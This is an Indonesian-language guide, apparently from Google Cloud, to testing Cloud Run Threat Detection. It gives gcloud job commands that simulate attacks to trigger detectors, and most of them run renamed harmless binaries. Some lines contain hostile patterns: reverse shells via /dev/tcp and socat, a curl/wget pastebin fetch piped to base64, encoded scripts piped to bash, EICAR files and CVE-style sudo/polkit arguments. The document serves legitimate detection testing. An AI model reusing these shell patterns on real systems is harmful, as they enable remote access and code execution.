Menguji Deteksi Ancaman Cloud Run

Halaman ini menjelaskan cara memverifikasi bahwa Deteksi Ancaman Cloud Run berfungsi dengan memicu detektor secara sengaja dan memeriksa temuan. Cloud Run Threat Detection adalah layanan bawaan Security Command Center.

Sebelum memulai

Untuk mendeteksi potensi ancaman terhadap layanan dan tugas Cloud Run Anda, pastikan layanan Cloud Run Threat Detection diaktifkan di Security Command Center. Beberapa detektor dinonaktifkan secara default. Untuk menguji detektor tersebut, Anda harus mengaktifkannya terlebih dahulu.

Menetapkan variabel lingkungan

Untuk menguji detektor, gunakan konsol Google Cloud dan Cloud Shell. Anda dapat menetapkan variabel lingkungan di Cloud Shell agar lebih mudah menjalankan perintah. Anda akan menggunakan variabel ini untuk menguji semua detektor.

  1. Buka Google Cloud console.

    Buka Google Cloud konsol

  2. Pilih project yang berisi tugas Cloud Run yang ingin Anda gunakan untuk pengujian.

  3. Klik Activate Cloud Shell.

  4. Di Cloud Shell, tetapkan variabel lingkungan:

    1. Tetapkan project dan region tempat Anda akan membuat tugas pengujian.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

Setelah variabel lingkungan ditetapkan, Anda dapat melanjutkan mengikuti petunjuk untuk menguji detektor.

Command and Control: Alat Steganografi Terdeteksi

Untuk memicu temuan Command and Control: Steganography Tool Detected (Pratinjau), jalankan biner dengan kemampuan manipulasi file yang konsisten dengan alat steganografi dalam penampung. Contoh ini menyalin /bin/ls dan mengganti namanya menjadi steghide.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Command and Control: Steganography Tool Detected.

Akses Kredensial: Temukan Google Cloud Kredensial

Untuk memicu temuan Credential Access: Find Google Cloud Credentials, jalankan biner yang dapat menelusuri isi file dalam penampung. Contoh ini menyalin /bin/ls, mengganti namanya menjadi grep, dan mengeksekusinya dengan argumen yang mencurigakan.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Credential Access: Find Google Cloud Credentials.

Akses Kredensial: Pengintaian Kunci GPG

Untuk memicu temuan Credential Access: GPG Key Reconnaissance, jalankan alat penelusuran dengan argumen yang mencurigakan.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Credential Access: GPG Key Reconnaissance.

Akses Kredensial: Menelusuri Kunci Pribadi atau Sandi

Untuk memicu temuan Credential Access: Search Private Keys or Passwords, jalankan alat penelusuran dengan argumen yang mencurigakan.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Credential Access: Search Private Keys or Passwords.

Penghindaran Pertahanan: Command Line File ELF Base64

Untuk memicu temuan Defense Evasion: Base64 ELF File Command Line, jalankan base64 dengan argumen header ELF yang dienkode.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini akan membuat dua temuan Defense Evasion: Base64 ELF File Command Line.

Penghindaran Pertahanan: Skrip Python yang Dikodekan Base64 Dieksekusi

Untuk memicu temuan Defense Evasion: Base64 Encoded Python Script Executed, jalankan echo dengan perintah Python yang dienkode.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Python Script Executed.

Penghindaran Pertahanan: Skrip Shell Berenkode Base64 Dieksekusi

Untuk memicu temuan Defense Evasion: Base64 Encoded Shell Script Executed, jalankan echo dengan perintah shell yang dienkode.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Shell Script Executed.

Penghindaran Pertahanan: Meluncurkan Alat Compiler Kode Dalam Container

Untuk memicu temuan Defense Evasion: Launch Code Compiler Tool In Container (Pratinjau), jalankan alat compiler.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Defense Evasion: Launch Code Compiler Tool In Container.

Eksekusi: Menambahkan Eksekusi Biner Berbahaya yang Dieksekusi

Untuk memicu Eksekusi: Menambahkan temuan Malicious Binary Executed, tambahkan biner berbahaya (EICAR) ke penampung Anda dan jalankan.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Eksekusi Biner Berbahaya Ditambahkan: Eksekusi.

Eksekusi: Pustaka Berbahaya Ditambahkan dan Dimuat

Untuk memicu Eksekusi: Temuan Malicious Library Loaded ditambahkan, tambahkan library berbahaya di container Anda dan muat. Contoh ini memperbarui file /tmp/test_mal_lib dengan library berbahaya simulasi, lalu memuatnya menggunakan mmap. Pemuatan library file yang ada tidak terduga karena file tidak ada dalam image container asli dan library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh intelijen ancaman.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /tmp/test_mal_lib
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Eksekusi: Library Berbahaya Dimuat.

Eksekusi: Container Escape

Untuk memicu temuan Eksekusi: Container Escape, jalankan alat yang menyimulasikan perilaku container escape.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Container Escape.

Eksekusi: Eksekusi Tanpa File di /memfd:

Untuk memicu temuan Execution: Fileless Execution in /memfd:, jalankan proses dari sistem file dalam memori /memfd: menggunakan Python.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   PYTHON_CODE=$(cat <<EOF
   import os,sys
   f = open('/bin/ls','rb')
   execdata = f.read()
   f.close()
   fd = os.memfd_create('', 0)
   fname = '/proc/self/fd/{}'.format(fd)
   f = open(fname,'wb')
   f.write(execdata)
   f.close()
   args = ['/bin']
   os.execve(fname, args, os.environ)
   EOF
   )
   B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command=bash \
      --args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Fileless Execution in /memfd:.

Eksekusi: Eksekusi Alat Serangan Kubernetes

Untuk memicu Eksekusi: Temuan Eksekusi Alat Serangan Kubernetes, jalankan program yang cocok dengan alat serangan yang diketahui.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Eksekusi: Eksekusi Alat Serangan Kubernetes.

Eksekusi: Eksekusi Alat Pengintaian Lokal

Untuk memicu temuan Execution: Local Reconnaissance Tool Execution, jalankan program yang cocok dengan alat pengintaian.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Eksekusi: Alat Pengintaian Lokal Eksekusi.

Eksekusi: Biner Berbahaya yang Dimodifikasi Dieksekusi

Untuk memicu temuan Eksekusi Biner Berbahaya yang Dimodifikasi: Ubah biner agar sesuai dengan tanda tangan berbahaya yang diketahui (EICAR).

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Eksekusi: Biner Berbahaya yang Dimodifikasi Dieksekusi.

Eksekusi: Library Berbahaya yang Dimodifikasi Dimuat

Untuk memicu Eksekusi: Temuan Pustaka Berbahaya yang Dimodifikasi dan Dimuat, ubah file yang ada dengan pustaka berbahaya di container Anda dan muat. Contoh ini memperbarui file /etc/issue dengan library berbahaya simulasi, lalu memuatnya menggunakan mmap. Pemuatan library file yang ada tidak terduga karena library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh intelijen ancaman.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /etc/issue
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini akan membuat temuan Execution: Modified Malicious Library Loaded.

Eksekusi: Netcat Remote Code Execution In Container

Untuk memicu peristiwa Execution: Netcat Remote Code Execution In Container, jalankan netcat dengan argumen yang mencurigakan.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Netcat Remote Code Execution In Container.

Eksekusi: Kemungkinan Eksekusi Perintah Arbitrer melalui CUPS (CVE-2024-47076)

Untuk memicu temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), jalankan skrip yang menyimulasikan eksploitasi.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).

Eksekusi: Kemungkinan Eksekusi Perintah Jarak Jauh Terdeteksi

Untuk memicu temuan Execution: Possible Remote Command Execution Detected (Pratinjau), jalankan perintah yang mencoba koneksi jarak jauh.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Possible Remote Command Execution Detected.

Eksekusi: Program Berjalan dengan Env Proxy HTTP yang Tidak Diizinkan

Untuk memicu temuan Execution: Program Run with Disallowed HTTP Proxy Env, jalankan program dengan variabel lingkungan proxy yang buruk.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Program Run with Disallowed HTTP Proxy Env.

Eksekusi: Socat Reverse Shell Terdeteksi

Untuk memicu temuan Execution: Socat Reverse Shell Detected, buat reverse shell menggunakan utilitas socat.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
   B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Socat Reverse Shell Detected.

Eksekusi: Objek Bersama OpenSSL Mencurigakan Dimuat

Untuk memicu temuan Execution: Suspicious OpenSSL Shared Object Loaded, jalankan openssl dengan library yang mencurigakan.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Suspicious OpenSSL Shared Object Loaded.

Eksfiltrasi: Meluncurkan Alat Penyalinan File Jarak Jauh di Container

Untuk memicu penemuan Exfiltration: Launch Remote File Copy Tools In Container, jalankan alat salin jarak jauh.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Exfiltration: Launch Remote File Copy Tools In Container.

Dampak: Mendeteksi Cmdline Berbahaya

Untuk memicu temuan Impact: Detect Malicious Cmdlines (Pratinjau), jalankan nama perintah yang mencurigakan (IPFS).

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Impact: Detect Malicious Cmdlines.

Dampak: Menghapus Data Massal dari Disk

Untuk memicu temuan Impact: Remove Bulk Data From Disk, jalankan alat seperti shred.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Impact: Remove Bulk Data From Disk.

Dampak: Aktivitas penambangan mata uang kripto yang mencurigakan menggunakan Stratum Protocol

Untuk memicu temuan Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol, jalankan biner dengan argumen yang menyerupai yang digunakan oleh software penambangan mata uang kripto yang berkomunikasi menggunakan protokol Stratum.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol.

Skrip Berbahaya Dieksekusi

Untuk memicu temuan Skrip Berbahaya Dieksekusi, jalankan skrip yang meniru perilaku berbahaya.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini akan membuat temuan Malicious Script Executed.

URL Berbahaya Teramati

Untuk memicu temuan Malicious URL Observed, jalankan biner dan berikan URL berbahaya sebagai argumen.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini memicu temuan URL Berbahaya Teramati.

Eskalasi Akses: Penyalahgunaan Sudo untuk Eskalasi Akses (CVE-2019-14287)

Untuk memicu temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), jalankan biner sudo dengan parameter -u#-1.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).

Eskalasi Akses: Potensi Eskalasi Akses Sudo (CVE-2021-3156)

Untuk memicu temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), jalankan biner sudo dengan parameter -s dan parameter yang diakhiri dengan ``.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).

Eskalasi Akses: Kerentanan Eskalasi Akses Lokal Polkit (CVE-2021-4034)

Untuk memicu temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), jalankan biner pkexec dengan variabel lingkungan GCONV_PATH yang ditetapkan sebagai pengguna non-root.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).

Reverse Shell

Untuk memicu temuan Reverse Shell, mulai biner dengan pengalihan stdin ke soket yang terhubung TCP.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Reverse Shell.

Eksekusi: Image Docker Cryptomining

Untuk memicu Eksekusi: Temuan Image Docker Cryptomining, deploy container menggunakan nama image Docker yang terkait dengan software cryptomining.

Buat dan jalankan tugas Cloud Run:

   JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
       --command sh \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

